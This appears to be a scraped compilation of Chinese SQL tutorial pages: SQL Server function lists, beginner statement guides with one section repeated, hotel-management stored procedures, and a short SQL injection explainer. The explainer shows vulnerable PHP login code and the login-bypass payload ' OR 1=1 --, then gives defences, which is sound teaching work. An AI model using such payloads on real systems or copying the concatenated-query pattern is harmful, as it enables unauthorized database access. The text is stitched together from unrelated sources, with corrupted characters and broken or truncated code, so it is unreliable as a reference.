期DATEDIFF(<datepart>,<number>,<date>)--函数返回两个指定日期在datepart方面的不同之处DATENAME(<datepart>,<date>)--函数以字符串的形式返回日期的指定部分DATEPART(<datepart>,<date>)--函数以整数值的形式返回日期的指定部分GETDATE()--函数以DATETIME的缺省格式返回系统当前的日期和时间----系统函数----APP_NAME()--函数返回当前执行的应用程序的名称COALESCE()--函数返回众多表达式中第一个非NULL表达式的值COL_LENGTH(<'table_name'>,<'column_name'>)--函数返回表中指定字段的长度值COL_NAME(<table_id>,<column_id>)--函数返回表中指定字段的名称即列名DATALENGTH()--函数返回数据表达式的数据的实际长度DB_NAME(databae_id)--函数返回数据库的名称HOST_ID()--函数返回服务器端计算机的名称HOST_NAME()--函数返回服务器端计算机的名称IDENTITY(<data_type>[,eedincrement])[AScolumn_name])--IDENTITY()函数只在SELECTINTO语句中使用用于插入一个identitycolumn列到新表中/某electidentity(int,1,1)acolumn_name intonewtablefromoldtable某/ISDATE()--函数判断所给定的表达式是否为合理日期ISNULL(<check_e某preion>,<replacement_value>)--函数将表达式中的NULL值用指定值替换ISNUMERIC()--函数判断所给定的表达式是否为合理的数值NEWID()--函数返回一个UNIQUEIDENTIFIER类型的数值NULLIF(<e某preion1>,<e某preion2>)--NULLIF函数在e某preion1与e某preion2相等时返回NULL值若不相等时则返回e某preion1的值。
sqlserver存储过程例子
sqlserver存储过程例子SQL Server是一种关系型数据库管理系统,它支持存储过程,存储过程是一组预编译的SQL语句,可以接收参数并返回结果。
它可以用于实现复杂的业务逻辑,提高数据库的性能和安全性。
下面列举了10个符合要求的存储过程例子。
1. 查询指定部门的员工数量该存储过程接收部门ID作为参数,然后使用COUNT函数查询该部门的员工数量,并返回结果。
2. 插入新员工信息该存储过程接收员工的姓名、部门ID等信息作为参数,然后使用INSERT语句将员工信息插入到数据库中。
3. 更新员工信息该存储过程接收员工ID和要更新的信息作为参数,然后使用UPDATE语句将指定员工的信息更新到数据库中。
4. 删除员工信息该存储过程接收员工ID作为参数,然后使用DELETE语句将指定员工的信息从数据库中删除。
5. 查询员工薪水排名该存储过程使用RANK函数查询员工薪水排名,并返回结果。
6. 查询员工平均薪水该存储过程使用AVG函数计算员工的平均薪水,并返回结果。
7. 查询员工工资总和该存储过程使用SUM函数计算员工的工资总和,并返回结果。
8. 查询员工工龄该存储过程使用DATEDIFF函数计算员工的工龄,并返回结果。
9. 查询员工信息及其所在部门名称该存储过程使用JOIN语句连接员工表和部门表,查询员工信息及其所在部门名称,并返回结果。
10. 查询员工信息及其直接上级该存储过程使用自连接查询,查询员工信息及其直接上级的信息,并返回结果。
以上是10个符合要求的SQL Server存储过程例子。
它们可以用于实现各种不同的业务逻辑,提高数据库的性能和安全性。
通过合理使用存储过程,可以减少重复的代码编写,提高开发效率,同时还可以提高系统的可维护性和可扩展性。
SQL常用基本语句及示例
SQL基本语句及示例1 . SQL SELECT 语句SELECT 语句用于从表中选取数据。
结果被存储在一个结果表中(称为结果集)。
SQL SELECT 语法以及:2. SQL SELECT DISTINCT 语句在表中,可能会包含重复值。
这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。
关键词DISTINCT 用于返回唯一不同的值。
语法:使用DISTINCT 关键词如果要从"Company" 列中选取所有的值,我们需要使用SELECT 语句:现在,在结果集中,"W3School" 仅被列出了一次。
3. WHERE 子句如需有条件地从表中选取数据,可将WHERE 子句添加到SELECT 语句。
语法引号的使用请注意,我们在例子中的条件值周围使用的是单引号。
SQL 使用单引号来环绕文本值(大部分数据库系统也接受双引号)。
如果是数值,请不要使用引号。
文本值:数值:5. ORDER BY 语句ORDER BY语句用于对结果集进行排序实例4以逆字母顺序显示公司名称,并以数字顺序显示顺序号:6. INSERT INTO 语句INSERT INTO 语句用于向表格中插入新的行。
语法我们也可以指定所要插入数据的列:SQL 语句:SQL 语句:7. DELETE 语句DELETE 语句用于删除表中的行。
语法删除某行"Fred Wilson" 会被删除:删除所有行可以在不删除表的情况下删除所有的行。
这意味着表的结构、属性和索引都是完整的:1.SQL AVG() 语法例子1现在,我们希望计算"OrderPrice" 字段的平均值。
我们使用如下SQL 语句:例子2现在,我们希望找到OrderPrice 值高于OrderPrice 平均值的客户。
我们使用如下SQL 语句:2.SQL COUNT() 函数COUNT() 函数返回匹配指定条件的行数。
SQL常用基本语句及示例
SQL基本语句及示例1 . SQL SELECT 语句SELECT 语句用于从表中选取数据。
结果被存储在一个结果表中(称为结果集)。
SQL SELECT 语法以及:2. SQL SELECT DISTINCT 语句在表中,可能会包含重复值。
这并不成问题,不过,有时您也许希望仅仅列出不同(distinct)的值。
关键词DISTINCT 用于返回唯一不同的值。
语法:使用DISTINCT 关键词如果要从"Company" 列中选取所有的值,我们需要使用SELECT 语句:现在,在结果集中,"W3School" 仅被列出了一次。
3. WHERE 子句如需有条件地从表中选取数据,可将WHERE 子句添加到SELECT 语句。
语法引号的使用请注意,我们在例子中的条件值周围使用的是单引号。
SQL 使用单引号来环绕文本值(大部分数据库系统也接受双引号)。
如果是数值,请不要使用引号。
文本值:数值:5. ORDER BY 语句ORDER BY语句用于对结果集进行排序实例4以逆字母顺序显示公司名称,并以数字顺序显示顺序号:6. INSERT INTO 语句INSERT INTO 语句用于向表格中插入新的行。
语法我们也可以指定所要插入数据的列:SQL 语句:SQL 语句:7. DELETE 语句DELETE 语句用于删除表中的行。
语法删除某行"Fred Wilson" 会被删除:删除所有行可以在不删除表的情况下删除所有的行。
这意味着表的结构、属性和索引都是完整的:1.SQL AVG() 语法例子1现在,我们希望计算"OrderPrice" 字段的平均值。
我们使用如下SQL 语句:例子2现在,我们希望找到OrderPrice 值高于OrderPrice 平均值的客户。
我们使用如下SQL 语句:2.SQL COUNT() 函数COUNT() 函数返回匹配指定条件的行数。
SQL语法大全及实例
select的用法--每个员工的所有信息select * from emp;--每个人的部门编号,姓名,薪水select empno, ename, sal from emp;--每个人的年薪select ename, sal*12 from emp;--计算2*3的值select 2*3 from emp;--计算2*3的值(dual)select 2*3 from dual;--得到当前时间select sysdat e from dual;--可以给列起别名,比如求每个人的年薪select ename, sal*12 annual_salfrom emp;--如果别名中有空格,需要用双引号select ename, sal*12 "annual sal" from emp;--如果没有内容,则为空select ename, sal, comm from emp; /*null*/--当空字段参与计算,则结果是nu ll--例如:计算每个人的全年的收入包括月薪和年终奖select ename, sal * 12 + comm from emp;--可以将多个字符串拼在一起。
比如:求每个人的薪水,格式为smi th-sal-123select ename|| '-' || sal || '-' || comm from emp;--如果字符串中有单引号,需要用另外一个单引号转义,比如:这样一个字符串:he's friend select ename|| 'he''s friend' from emp;distin ct 关键词的用法--求有哪些个部门select deptno from emp;select distin ct deptno from emp;--可以用来修饰多个字段--求有哪些个部门和job的组合select deptno , job from emp;select distin ct deptno , job from emp;--------------------------------------------------------where关键词的用法--可以是数值类型的等值判断。
tp6 sqlserve sql语句
tp6 sqlserve sql语句如何使用SQL Server编写SQL语句。
SQL Server是一种关系型数据库管理系统,常用于存储、管理和查询大量的数据。
使用SQL语句可以对数据库进行增删改查等操作。
本文将一步一步地介绍如何使用SQL Server编写SQL语句,以便更好地管理数据库。
第一步:连接到SQL Server数据库在开始编写SQL语句之前,首先需要连接到SQL Server数据库。
可以使用SQL Server Management Studio(SSMS)工具来连接到数据库。
打开SSMS并输入服务器名称,然后选择身份验证模式和登录凭据。
点击“连接”按钮后,将成功连接到数据库。
第二步:创建数据库和表如果数据库尚未创建,则可以使用以下SQL语句创建数据库:CREATE DATABASE [数据库名称]接下来,可以创建表格来存储数据。
每个表都具有列,用于存储不同类型的数据。
以下是创建表格的示例SQL语句:CREATE TABLE [表格名称] ([列1名称] [类型],[列2名称] [类型],...[列n名称] [类型])请注意,您需要将上述SQL语句中的方括号替换为实际的数据库和表格名称。
您还需要为每个列指定名称和数据类型。
第三步:插入数据一旦表格创建完成,就可以使用INSERT语句将数据插入表格中。
以下是一个示例INSERT语句:INSERT INTO [表格名称] ([列1名称], [列2名称], ..., [列n名称]) VALUES([值1], [值2], ..., [值n])您需要将上述SQL语句中的方括号替换为实际的表格和列名称,以及实际的值。
INSERT语句将一行数据插入表格中,值的顺序需要与列的顺序一致。
第四步:查询数据使用SELECT语句可以从数据库中检索数据。
以下是一个示例SELECT语句:SELECT [列1名称], [列2名称], ..., [列n名称] FROM [表格名称]您需要将上述SQL语句中的方括号替换为实际的表格和列名称。
sql注入示例代码
sql注入示例代码SQL注入是一种常见的网络攻击方式,攻击者通过在输入框中输入恶意代码,从而获取数据库中的敏感信息。
本文将以SQL注入示例代码为标题,介绍SQL注入的原理和防范措施。
SQL注入示例代码:假设有一个登录页面,用户需要输入用户名和密码才能登录。
后台代码如下:```$username = $_POST['username'];$password = $_POST['password'];$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";$result = mysqli_query($conn, $sql);if(mysqli_num_rows($result) > 0) {// 登录成功} else {// 登录失败}```这段代码的作用是从数据库中查询用户名和密码是否匹配,如果匹配则登录成功,否则登录失败。
但是,这段代码存在SQL注入漏洞。
攻击者可以在用户名或密码输入框中输入恶意代码,从而绕过登录验证,获取数据库中的敏感信息。
例如,攻击者可以在用户名输入框中输入以下代码:```' OR 1=1 --```这段代码的作用是将SQL语句改为:```SELECT * FROM users WHERE username='' OR 1=1 --' AND password='$password'```其中,--表示注释掉后面的代码。
这样,SQL语句的查询条件变为了OR 1=1,这个条件永远为真,因此查询结果将返回所有用户的信息,攻击者就可以获取到数据库中的所有用户信息。
防范措施:为了防止SQL注入攻击,我们可以采取以下措施:1. 使用参数化查询参数化查询是一种将SQL语句和参数分开的方法,可以有效防止SQL注入攻击。
sql用户表代码
下面是一个示例的SQL用户表代码,它包括了一些常用的字段,如用户ID、用户名、密码、电子邮件地址和注册日期。
```sql
CREATE TABLE users (
user_id INT PRIMARY KEY,
username V ARCHAR(50) NOT NULL,
password V ARCHAR(50) NOT NULL,
email V ARCHAR(100),
register_date DATE
);
```
在这个示例中,`users`表有五个字段,分别是:
* `user_id`:用户ID,是一个整数类型,作为主键。
* `username`:用户名,是一个最大长度为50的字符串类型,不能为空。
* `password`:密码,是一个最大长度为50的字符串类型,不能为空。
* `email`:电子邮件地址,是一个最大长度为100的字符串类型。
* `register_date`:注册日期,是一个日期类型。
请注意,这只是一个示例代码,实际情况中可能会有更多的字段和约束条件,具体取决于应用程序的需求。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
<SQL常用的过程代码实例>[存储过程]定义TRANSACT-SQL1.创建CREATE PROCEDURE语法:CRATE PROCUDURE procedure_name [:number][{@parameter data_type}[V ARYING] [=default] [OUTPUT]] [,…n][WITH{RECOMPILE|EBCRYPTION|RECOMPILE,ENCRYPTION}][FOR REPLICATION]AS sql_statement […n]2.执行过程EXECUTE stored_procedure语法:[EXECUTE ]{[@return_status=]{procedure_name [:number] | @procedure_name_var}[[@parameter=] {value | @variable [OUTPUT] | [DEFAULT]}[...N][WITH RECOMPILE]--1#CREATE procedure auto_kf_ffxx -------酒店管理系统的自动计算房费的过程(@c_code_z varchar(30) --主账单)asbegin /*自动计算房费过程*/begin Transaction auto_kf_ffxxdeclare @rzsj datetime, --入住时间--------------------------------定义局变量@tempsj datetime, --临时离开时间[当前]@dec_id decimal(18,0),@c_code_xfxm varchar(30),@dec_ts decimal(18,4), --天数@first_d decimal(18,4), --第一天@end_d decimal(18,4), --最后一天@kflb varchar(30), --开房类别@room varchar(30) --房间号declare ffxxdetail cursor for --定义游标select DEC_ID,c_code_xfxm,dt_xfsj,c_code_room from T_kf_xfmx where c_flag_day='1' and c_code in ( select c_code from T_kf_xfmain where dec_parent in (select dec_id from T_kf_xfmain where c_code=@c_code_z and I_layer=0 ))open ffxxdetail ---------------打开游标Fetch next From ffxxdetail into @dec_id,@c_code_xfxm,@rzsj,@room -----------------提取------- Fetch first from fetch_maxph into @temp--提取Set @tempsj=getdate() --------------------------------set设置局变量的值while @@Fetch_Status=0 -----beginPRINT 'id编号'-------单个输出显示PRINT @DEC_IDPRINT '入住时间'PRINT @RZSJPRINT '入住房间号'PRINT @ROOM--取得房间开房类型//用SELECT语句给局变量值赋值select top 1 @kflb=c_code_kflb from T_kf_rzroom where c_code_rz=@c_code_z and C_code_room=@roomif @kflb='0001' --全天房begin --计算天数--更新消费数量select @dec_ts=DateDiff(day,@rzsj,@tempsj) ---用Select调置值PRINT '粗略计算天数'PRINT @DEC_TSPRINT '----------------'if @dec_ts>1beginset @dec_ts=@dec_ts - 1end--加上第一天所占用的时段费用------------------------------------convert转换类型函数select @first_d=sum(dec_rate) from T_kf_gzsz_main where conver t(char,dt_jzsj,108) >=conver t(char,@rzsj,108)PRINT '第一天占用时段'PRINT @FIRST_Dif @first_d is null set @first_d=0--加上最后一天所占用的时段费用select @end_d=sum(dec_rate) from T_kf_gzsz_main where convert(char,dt_kssj,108) <=convert(char,@tempsj,108) if @end_d is null set @end_d=0PRINT '-----------------'PRINT '最后一天占用时段'PRINT @END_Dset @dec_ts=@dec_ts+@first_d+@end_d --SET设置总计天数PRINT '-----------------'PRINT '准确天数'PRINT @DEC_TSendif @kflb='0002' --钟点房beginSelect @dec_ts=DateDif f(hour,@rzsj,@tempsj) --提取小时end--更新房费信息update T_kf_xfmx set dec_sum=@dec_ts,dec_je=dec_dj*dec_zkl*@dec_ts where dec_id=@dec_id Fetch next From ffxxdetail into @dec_id,@c_code_xfxm,@rzsj,@roomendclose ffxxdetail --关闭游标deallocate ffxxdetail --释放游标if @@Error !=0 --全局变量由系统指定Rollback Transaction auto_kf_ffxx --回滚事务elseCommit Transaction auto_kf_ffxx --执行成功事务endGO--2#CREATE procedure Change_CY_xfinfo --酒店管理系统的餐饮结账恢复过程(@C_code_z varchar(30)--主单据号)asbegindeclare @jz_way v archar(30)--定义局变量:结算方式declare @Dec_je Decimal(16,4) --结算金额declare @Dec_sqje Decimal(16,4) ---------收取金额declare @Card_code Varchar(30) --使用证卡号declare @gzdw_code Varchar(30) --挂帐单位号----------------------------------------恢复餐饮结算过的单据信息---begin Transaction Change_cy_xfinfo---------------------------------------------更新已结金额为0,押金=0,状态=0[未结帐]为恢复作准备update T_cy_xfmain set dec_yjje=0,dec_zjyj=0,C_flag_jz='0' --子单据where I_layer=1 and dec_parent in (select Dec_id from T_cy_xfmain where I_layer=0 and C_code=@c_code_z) update T_cy_xfmain set dec_yjje=0,C_flag_jz='0' --主单据where I_layer=0 and C_code=@c_code_z-----------------------------------------------------------更新消费项目状态=0[未结帐]update T_cy_xfmx set C_flag_jz='0'where C_code in (select C_code from T_cy_xfmain where I_layer=1 and Dec_parent in (select Dec_id from T_cy_xfmain where I_layer=0 and C_code=@c_code_z) )---------------------------------------------------------------更新对应房台使用记录状态=0[未结帐]update T_cy_ftxx_s y set C_flag_jz='0' where C_code_z=@c_code_z---------------------------------------------------------更新对应房台状态信息到使用状态update T_dia_cy_ftx x set C_state='1' where C_code in (select C_code_room from T_cy_ftxx_sy where C_code_z=@c_code_z)------------------------------------------------------------------------------------------------------------------------------------定义结账信息游标------------------------------declare jzinfo cursor for selec t C_code_way,dec_sxj,dec_bcss,C_card,C_code_jzdw from T_pub_jzwhere c_mod in (select C_code from T_sys_mod where mod_group='餐饮模块') and C_code=@C_code_z Open jzinfo ---打开游标Fetch next From jzinfo --提取结算方式into @jz_way,@Dec_je,@dec_sqje,@card_code,@gzdw_code--开始恢复结帐复款记录while @@Fetch_STATUS=0begin--证卡--更新证卡信息if (@jz_way='00003')begin--恢复证卡到使用前状态update T_pub_hy_card set Dec_je=Dec_je+@dec_sqje,C_stop='0'where C_code=@card_codeend--挂帐--更新挂帐信息if (@jz_way='00006')beginDelete T_pub_gz_mainwhere C_mod in (select C_Code from T_sys_mod where mod_group='餐饮模块')and C_code=@c_code_z and C_code_gzdw=@gzdw_code--通过除发器来更新对应挂帐单位金额endbeginupdate T_cy_xfmain set dec_zjyj=dec_zjyj+@dec_sqjewhere I_layer=0 and C_code=@c_code_zendFetch next from jzinfointo @jz_way,@Dec_je,@dec_sqje,@card_code,@gzdw_codeendClose jzinfoDeallocate jzinfo----------------------------------------------------------------------------------------------------------------------------- --删除历史结算记录delete T_pub_jzwhere c_code=@C_code_z and C_modin (select C_codefrom T_sys_modwhere mod_group='餐饮模块')--检查事务是否执行成功--if @@error !=0rollback transaction Change_cy_xfinfoelsecommit transaction Change_cy_xfinfoend;GO[自定义函数()]select split('AAA|BBBB|CCCC' ,1)--写一个完成的函数,要求输入一个类似'AAA|BBBB|CCCC'的字符串,和一个位置信息返回对应字符串create function split(@str varchar(500),@pos int)returns varchar(500)asbeginif @str='' or @pos<1 or @pos>500return ''declare @i intdeclare @j intdeclare @s intdeclare @ret varchar(500)set @s=1set @j=0set @ret=''while @s<=len(@str)beginset @j=@j+1if @i<1beginset @ret=substring(@str,@s,len(@str)-@s+1)breakendelsebeginset @ret=substring(@str,@s,@i-@s)endif @j=@pos breakset @s=@i+1endif @j<@posreturn ''return @retend--3#CREATE procedure Change_room_state--酒店管理系统的xx过程( @Now_DateTime DateTime )asbeginDeclare @change_sj varchar(30)--注解: select xx from table where expression1 and expression2Select @Change_sj=C_values from T_sys_set where C_name='餐饮包房/餐桌清扫时间(分钟)' and C_flag='1' and C_stop='0' update T_dia_cy_ftxx set C_state='0'where C_code in (Select C_code_room from T_cy_ftxx_sy where Dec_id in (select Max(dec_id)as Expr1 from T_cy_ftxx_sy where C_flag_jz='1' group by C_code_room )and C_flag_jz='1' and DA TEDIFF(minute,Dt_tfsj,@Now_DateTime)>@change_sj) and C_state='2' --注解:update table1 set fields1=’0’where fields2 in ( select xx from table2 where fis3 in (endGO--4#create procedure Change_XY_xfinfo--酒店管理系统的洗浴结账恢复(@C_code_z varchar(30)--主单据号)asbegindeclare @jz_way varchar(30) --结算方式declare @Dec_je Decimal(16,4) --结算金额declare @Dec_sqje Decimal(16,4) --收取金额declare @Card_code Varchar(30) --使用证卡号declare @gzdw_code Varchar(30) --挂帐单位号--------恢复洗浴结算过的单据信息---begin Transaction Change_xy_xfinfo----------------------------------------更新已结金额为0,押金=0,状态=0[未结帐]为恢复作准备update T_xy_xfmain set dec_yjje=0,dec_zjyj=0,C_flag_jz='0' --子单据where I_layer=0 and C_code=@c_code_z-----------------------------------------------------------更新消费项目状态=0[未结帐]update T_xy_xfmx set C_flag_jz='0' where C_code in (select C_code from T_xy_xfmain where I_layer=1 and Dec_parent in(select Dec_id from T_xy_xfmain where I_layer=0 and C_code=@c_code_z) )---------------------------------------------------------更新对应房台使用记录状态=0[未结帐]update T_xy_sp_sy set C_flag_jz='0' where C_code_z=@c_code_z------------------------------------------------------更新对应房台状态信息到使用状态update T_dia_xy_spxx set C_state='1' where C_code in (select C_code_sp from T_xy_sp_sy where C_code_z=@c_code_z)-----------------------------------------------------------------定义结账信息游标--------------------------------------------------------------------------declare jzinfo cursor forselect C_code_way,dec_sxj,dec_bcss,C_card,C_code_jzdwfrom T_pub_jzwhere c_mod in (select C_code from T_sys_mod where mod_group='洗浴模块')and C_code=@C_code_zOpen jzinfo—打开游标Fetch next From jzinfo --提取结算方式into @jz_way,@Dec_je,@dec_sqje,@card_code,@gzdw_code--开始恢复结帐复款记录while @@Fetch_STATUS=0begin--证卡--更新证卡信息if (@jz_way='00003')begin--恢复证卡到使用前状态update T_pub_hy_card set D ec_je=Dec_je+@dec_sqje,C_stop='0'where C_code=@card_codeend--挂帐--更新挂帐信息if (@jz_way='00006')beginDelete T_pub_gz_main where C_mod in (select C_Code from T_sys_mod where mod_group='洗浴模块')and C_code=@c_code_z and C_code_gzdw=@gzdw_code--通过除发器来更新对应挂帐单位金额end--押金--更新押金信息到主帐单中if (@jz_way='00009')beginupdate T_xy_xfmain set dec_zjyj=dec_zjyj+@dec_sqje where I_layer=0 and C_code=@c_code_zendFetch next from jzinfo into @jz_way,@Dec_je,@dec_sqje,@card_code,@gzdw_codeendClose jzinfo–关闭游标Deallocate jzinfo—注销游标-------------------------------------------------------------------------------------------------------------------------------删除历史结算记录delete T_pub_jzwhere c_code=@C_code_z and C_modin (select C_codefrom T_sys_modwhere mod_group='洗浴模块'if @@error !=0rollback transaction Change_xy_xfinfoelsecommit transaction Change_xy_xfinfoend;GO--5#CREATE PROCEDURE ProGetOrderCode—订购单自动编号@OrderType varchar(50),@Result varchar(50) outASDeclare @Prefix varchar(50),@Date varchar(10),@Code varchar(10),@Year char(4),@Month char(2),@Day char(2)insert into OrgCode_Tab (OrgName,OrgID)Select@OrderType,isnull(Max(OrgID),1)+1From OrgCode_Tab Where OrgName = @OrderType Select @Code = Max(OrgID) From OrgCode_Tab Where OrgName = @OrderTypeinsert into OrgCode_Tab (OrgName,OrgID)Select @OrderType,isnull(Max(OrgID),1)+1 From OrgCode_Tab Where OrgName = @OrderType -- CAST ( expression AS data_type )Set @Year = cast(DATEPART(Year,GetDate()) as char(4))Set @Month = cast(DATEPART(Month,GetDate()) as char(2))Set @Day = cast(DATEPART(Day,GetDate()) as char(2))if len(@Month) < 2Set @Month = '0'+ @Monthif Len(@Day) < 2Set @Day = '0'+ @DaySet @Date = @Year+@Month+@DaySelect @Prefix = PrefixName From OrderPrefix_Tab Where OrderName = @OrderTypeSet @Result= @Prefix+@Date+@CodeSelect ''GOC REATE PROCEDURE [BookManager Web 页]ASSET ROWCOUNT 10 SELECT [ID], [barcode], [BookName], [KindName], [Price], [BookSum], [SumInstore] FROM [BookSave]GOCREATE PROCEDURE passdate –图书管理ASbeginGOCREATE PROCEDURE stopdatepass –图书管理ASbeginupdate lendcardinfo set usesing=1 where(getdate() >= DATEADD(month,stoptime, stopdate)) and (getdate() <enddate) --- DATEADD ( datepart , number, date )endGOCREATE PROCEDURE MYPRO –房地产管理@nianling smallintASselect * from f_customer where年龄>@nianlingGOCREATE PROCEDURE MYPRO1@xingbie sql_variantASselect * from f_customer where 性别=@xingbieGOcreate procedure Add_djph --向登记票号表中插入数据,自动生成票号,并将票号返回给程序@djr varchar(30),@yfje Money,@sfje Money,@sj DateTime,@djph varchar(30) output –-返回值asbeginDeclare @temp varchar(30) –用于提取游标中的数据set @djph = 'SK'+ Convert(varchar(20),Year(GetDate()))if Month(getdate())<10set @djph = @djph +'0'+ Convert(varchar(20),Month(GetDate()))elseset @djph = @djph+Convert(varchar(20),Month(GetDate()))if Day(getdate())<10set @djph = @djph +'0'+ Convert(varchar(20),Day(GetDate()))elseset @djph = @djph+Convert(varchar(20),Day(GetDate()))--声明一个游标用于提取当前日期的最大票号declare fetch_MaxPh Cursor LOCAL Scrollforselect Max(djph) from t_djph where sj>= FLOOR(Convert(Float,GetDate())) and sj <Floor(Convert(Float,Getdate()))+1 if CURSOR_STA TUS('local','fetch_Maxph')= -1 --如果游标未打开,打开游标Open fetch_MaxphFetch first from fetch_Maxph into @temp --提取游标中的数据Close fetch_Maxph—关闭beginset @id = Convert(int,SUBSTRING(Rtrim(@temp),11,10))if @id <9set @djph = @djph +'00'+Convert(varchar(20),@id+1)else if @id <99set @djph = @djph +'0'+Convert(varchar(20),@id+1)elseset @djph = @djph + Convert(varchar(20),@id+1)endinsert into t_djph values (@djph,@djr,@yfje,@sfje,@sj)endGOCreate Procedure add_fwxm@fwmc varchar(30),@jldw varchar(30),@fwjg moneyasinsert t_fwxm values(@fwmc,@jldw,@fwjg)GOcreate procedure Add_whph--向登记票号表中插入数据,自动生成票号,并将票号返回给程序@whf Money,@jsr varchar(30),@sj DateTime,@whph varchar(30) outputasbeginDeclare @temp varchar(30) --提取游标中的数据set @whph = 'wh'+ Convert(varchar(20),Year(GetDate()))if Month(getdate())<10set @whph = @whph +'0'+ Convert(varchar(20),Month(GetDate()))elseset @whph = @whph+Convert(varchar(20),Month(GetDate()))if Day(getdate())<10set @whph = @whph +'0'+ Convert(varchar(20),Day(GetDate()))elseset @whph = @whph+Convert(varchar(20),Day(GetDate()))--声明一个游标用于提取当前日期的最大票号declare fetch_MaxPh Cursor LOCAL Scrollforselect Max(whph) from t_whph where sj>= FLOOR(Convert(Float,GetDate())) and sj <Floor(Convert(Float,Getdate()))+1 if CURSOR_STA TUS('local','fetch_Maxph')= -1 --如果游标未打开,打开游标Open fetch_MaxphFetch first from fetch_Maxph into @tempClose fetch_Maxphbeginset @id = Convert(int,SUBSTRING(Rtrim(@temp),11,10))if @id <9set @whph = @whph +'00'+Convert(varchar(20),@id+1)else if @id <99set @whph = @whph +'0'+Convert(varchar(20),@id+1)elseset @whph = @whph + Convert(varchar(20),@id+1)endinsert into t_whph values (@whph,@whf,@jsr,@sj)endGOcreate procedure delete_jcxxfw@fwmc varchar(30)--删除条件asDelete t_fwjcxx where fwmc = @fwmcGOCreate procedure update_fwxm@fwmc varchar(30),@jldw varchar(30),@fwjg money,@tjfwmc varchar(30),--记录修改条件@tjjldw varchar(30)asupdate t_fwxm set fwmc = @fwmc,jldw = @jldw,fwjg = @fwjgwhere fwmc = @tjfwmc and jldw = @jldwGOreate procedure r_iRTblClassDefs@IntID binary(8), @Z_BranchID_Z int, @Z_VS_Z int, @ClassID binary(16), @VerPropDescs image, @PropDescs image=NULL, @Z_VE_Z int = 2147483647, @ViewName varchar(128)=NULL, @ViewFlags int = 0asinsert RTblClassDefs values (@IntID, @Z_BranchID_Z, @Z_VS_Z, @Z_VE_Z, @ClassID, @VerPropDescs, @PropDescs, @ViewName, @ViewFlags)GOCREATE PROCEDURE CustOrderHist@CustomerID nchar(5)ASSELECT ProductName, Total=SUM(Quantity)FROM Products P, [Order Details] OD, Orders O, Customers CWHERE C.CustomerID = @CustomerIDAND C.CustomerID = O.CustomerID AND O.OrderID = OD.OrderID AND OD.ProductID = P.ProductIDGROUP BY ProductNameGOcreate procedure "Employee Sales by Country"@Beginning_Date DateTime, @Ending_Date DateTimeASSELECT Employees.Country, stName, Employees.FirstName, Orders.ShippedDate, Orders.OrderID, "Order Subtotals".Subtotal AS SaleAmountFROM Employees INNER JOIN(Orders INNER JOIN "Order Subtotals" ON Orders.OrderID = "Order Subtotals".OrderID)ON Employees.EmployeeID = Orders.EmployeeIDWHERE Orders.ShippedDate Between @Beginning_Date And @Ending_DateGOCREATE PROCEDURE SalesByCategory@CategoryName nvarchar(15), @OrdYear nvarchar(4) = '1998'ASIF @OrdYear != '1996' AND @OrdYear != '1997' AND @OrdYear != '1998'BEGINSELECT @OrdYear = '1998'ENDSELECT ProductName,TotalPurchase=ROUND(SUM(CONVERT(decimal(14,2), OD.Quantity * (1-OD.Discount) * OD.UnitPrice)), 0)FROM [Order Details] OD, Orders O, Products P, Categories CWHERE OD.OrderID = O.OrderIDAND OD.ProductID = P.ProductIDAND P.CategoryID = C.CategoryIDAND C.CategoryName = @CategoryNameAND SUBSTRING(CONVERT(nvarchar(22), O.OrderDate, 111), 1, 4) = @OrdYearGROUP BY ProductNameORDER BY ProductNameGOcreate procedure "Ten Most Expensive Products"ASSET ROWCOUNT 10SELECT Products.ProductName AS TenMostExpensiveProducts, Products.UnitPriceFROM ProductsORDER BY Products.UnitPrice DESCGO--酒店管理系统的CREATE procedure CY_GZDJ_Query(@KS datetime, @JZ datetime )asbegin--挂帐单据信息查询[00006挂帐]select a.c_code,a.Dec_zxfje,a.dec_jkl,dec_ysje,a.Dec_zjml,a.c_czy,a.c_com,a.dt_xfsj,a.dt_jzsj,a.dec_ycrs,b.c_code_way,b.C_code_jzdw,b.dt_jssj,b.dec_sxjfrom T_pub_jz b join T_cy_xfmain aon b.C_code=a.C_codewhere a.I_layer=0 and b.Dt_jssj between @KS and @JZ and b.c_code_way='00006'end;GOCREATE procedure CY_Query_Consume(@ks datetime,@jz datetime)asbegin--查询餐饮消费项目名细select a.dec_id,a.C_code,a.C_code_room,a.C_code_xfxm,b.C_name,a.C_unit,a.Dec_sum,a.Dec_cbj, a.Dec_dj, a.Dec_je, a.Dec_zkl,a.C_flag_zs, a.C_flag_jz, a.Dt_jzsj,a.Dt_xfsj, a.Dt_xfjzsj, a.C_jsfs,a.C_fwy, a.C_flag_zz,a.C_mod_old,a.C_code_old, a.C_mod_mb,a.C_code_mb, a.C_flag_dayfrom T_cy_xfmx a join T_pub_dia_xfxm b WITH (NOLOCK)on a.C_code_xfxm=b.C_codewhere a.dt_xfsj between @ks and @Jzend;GOCREATE procedure Find_cy_Fwytc--计算服务员提成(@ks DateTime, @jz DateTime )asbegin--select a,b,c, from (sl) a left join (sl) g on()left join (sl) b on() left join(sl) e on() left join(sl) f on() order by xx select a.c_fwy,a.C_code_xm,g.c_kind,g.c_uint,a.c_flag_tcfs,a.dec_sl,a.dec_tcl,casewhen b.xfxm_sum is NULL then 0else b.xfxm_sum --销售数量end as 'xfxm_sum',casewhen b.xfxm_hj is NULL then 0else b.xfxm_hj --销售金额casewhen e.xfxm_thsum is NULL then 0else e.xfxm_thsum --退还数量end as 'xfxm_thsum',casewhen e.xfxm_thje is NULL then 0else e.xfxm_thje --退还金额end as 'xfxm_thje',casewhen f.xfxm_zssum is NULL then 0else f.xfxm_zssum --赠送数量end as 'xfxm_zssum',case when f.xfxm_zsje is NULL then 0else f.xfxm_zsje --赠送金额end as 'xfxm_zsje',casewhen (b.xfxm_sum - e.xfxm_thsum) is null then --货数量-退还数量casewhen b.xfxm_sum is null then 0elsecasewhen e.xfxm_thsum is null thenb.xfxm_sumelse(b.xfxm_sum - e.xfxm_thsum)endendelse(b.xfxm_sum - e.xfxm_thsum)end as 'xfxm_xs', --实销数量casewhen (xfxm_hj - xfxm_thje) is null thencasewhen xfxm_hj is null then 0elsecasewhen xfxm_thje is null 